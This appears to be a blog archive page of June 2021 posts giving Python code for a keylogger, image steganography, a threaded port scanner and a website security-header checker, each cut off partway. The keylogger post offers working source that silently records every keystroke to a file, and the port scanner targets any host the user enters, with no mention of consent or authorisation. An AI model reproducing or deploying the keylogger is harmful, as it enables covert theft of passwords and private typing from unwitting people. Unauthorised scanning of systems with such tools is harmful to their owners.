Posts

Showing posts from June, 2021

KEYLOGGER in Python .. 🤑🤑

Image
  KEYLOGGER in Python is easy to make ..... Create  a log.txt file in the same directory of the python file ... import pynput # pip install pynput from pynput.keyboard import Key , Listener count= 0 # initializing the count as 0 keys=[] # the list of keys def on_press (key): # function to track the keys pressed .. global keys , count keys.append(key) count += 1 print ( '{0} pressed' .format(key)) if count >= 10 : count = 0 write_file(keys) keys=[] def write_file (keys): # function to write the keys in the txt file .. with open ( 'log.txt' , 'a' ) as f: for key in keys: k= str (key).replace( "'" , "" ) if k.find( "space" ) > 0 : f.write( ' \n ' ) elif k.find( "Key" ) == - 1 : f.write(k) def on_release (key): # function to stop the recording .. if key ==...

STEGANOGRAPHY ...

Image
You con do Steganography in Python with just a few lines of code ... Create two Python files ... One named main.py and another steganography.py  And have a picture in which we are going to embed the secret message .. And I am going to use my HERO ... The link for the image ... (or you can use any other image) JOKER The code for main.py from PIL import Image # pip install pillow import stepic               # pip install stepic img=Image.open( 'joker.jpg' ) # opening the joker image image=stepic.encode(img , b'''They Laugh At me Because I am Different. I laugh At Then Because The are all the same''' ) image.save( 'joker1.png' , 'PNG' ) # saving the image image=Image.open( 'joker1.png' ) # opening the new image image.show()                         # displaying the image The code for steganography.py from main import image # importing the image from ...

Port scanner in Python ...

Image
  A simple threaded port scanner in python ... If you don't want to use nmap , zenmap or other port-scanners then this project is for you... A disclaimer ... it may not work correctly all the time ..  import socket # pre-installed import time import threading from queue import Queue socket.setdefaulttimeout( 0.25 ) # setting default time in every port .. print_lock = threading.Lock() target = input ( 'Enter the host to be scanned: ' ) # asking the user for target t_IP = socket.gethostbyname(target) print ( 'Starting scan on host: ' , t_IP) def portscan (port): # function for port scanner s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) try : con = s.connect((t_IP , port)) with print_lock: print (port , 'is open' ) con.close() except : pass def threader (): # function for threading while True : worker = q.get() portscan(worker) q.task_done() q = Q...

Testing insecure web server configurations ...

Image
 Enumerating webservers for possible attacks is always tough .. .. or can a simple python script do the job for you .. :) (The script may not always work right but it may work in some cases ..) (The script will definitely flop if https is used in websites ... ) So let's dive into the code.. import requests urls = open ( "websites.txt" , "r" ) for url in urls: url = url.strip() req = requests.get(url) print (url , 'report:' ) try : protection_xss = req.headers[ 'X-XSS-Protection' ] if protection_xss != '1; mode = block' : print ( 'X-XSS-Protection not set properly, it may be possible:' , protection_xss) except : print ( 'X-XSS-Protection not set, it may be possible' ) try : options_content_type = req.headers[ 'X-Content-Type-Options' ] if options_content_type != 'nosniff' : print ( 'X-Content-Type-Options not set prop...